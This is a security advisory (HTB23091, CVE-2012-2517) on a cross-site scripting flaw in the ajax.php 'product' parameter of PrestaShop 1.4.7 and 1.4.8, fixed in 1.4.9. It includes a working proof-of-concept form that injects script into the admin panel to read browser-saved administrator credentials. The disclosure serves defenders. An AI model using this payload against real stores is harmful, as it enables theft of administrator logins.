Total Tests:

XSS in PrestaShop

Advisory ID:HTB23091
Product:PrestaShop
Vendor:PrestaShop, Inc.
Vulnerable Versions:1.4.7, 1.4.8 and probably prior
Tested Version:1.4.7, 1.4.8
Advisory Publication:May 9, 2012 [without technical details]
Vendor Notification:May 9, 2012
Vendor Fix:August 24, 2012
Public Disclosure:August 29, 2012
Latest Update:August 27, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-2517
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in PrestaShop, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in PrestaShop
Input passed via the "product" POST parameter to ajax.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.
PrestaShop sets cookies with http-only flag, therefore classic XSS exploitation designed to steal cookies will not work. The following PoC code steals passwords stored in Firefox ("remember password" function) profile:
<form action="http://[host]/[ADMIN_PANEL]/ajax.php" method="post">
<input type="hidden" name="ajaxProductsPositions" value='' />
<input type="hidden" name="id_product" value='1' />
<input type="hidden" name="id_category" value='1' />
<input type="hidden" name='product[<form action="/[ADMIN_PANEL]/login.php" method="post"><input type="text" id="email" name="email" value="" class="input"/><input id="passwd" type="password" name="passwd" class="input" value=""/></form><script>function hackfunc() { alert("Your Login: "+document.getElementById("email").value+"\nYour Password: "+document.getElementById("passwd").value); } setTimeout("hackfunc()", 1000);</script>]' value='1_1_1' />
<input type="submit" id="btn">
</form>

This PoC was successfully tested on Firefox 12.0 in default configuration, with one saved password.
Other attack scenarios that do not involve cookies disclosure are also possible.

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to PrestaShop v1.4.9

More Information:
http://www.prestashop.com/blog/en/upgrade-your-online-store-to-prestashop-v1-4-9/
http://www.prestashop.com/en/download


References:
[1] High-Tech Bridge Advisory HTB23091 - https://www.immuniweb.com/advisory/HTB23091 - XSS in PrestaShop.
[2] PrestaShop - http://www.prestashop.com/ - PrestaShop is a secure and fully customizable Open-source e-commerce software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential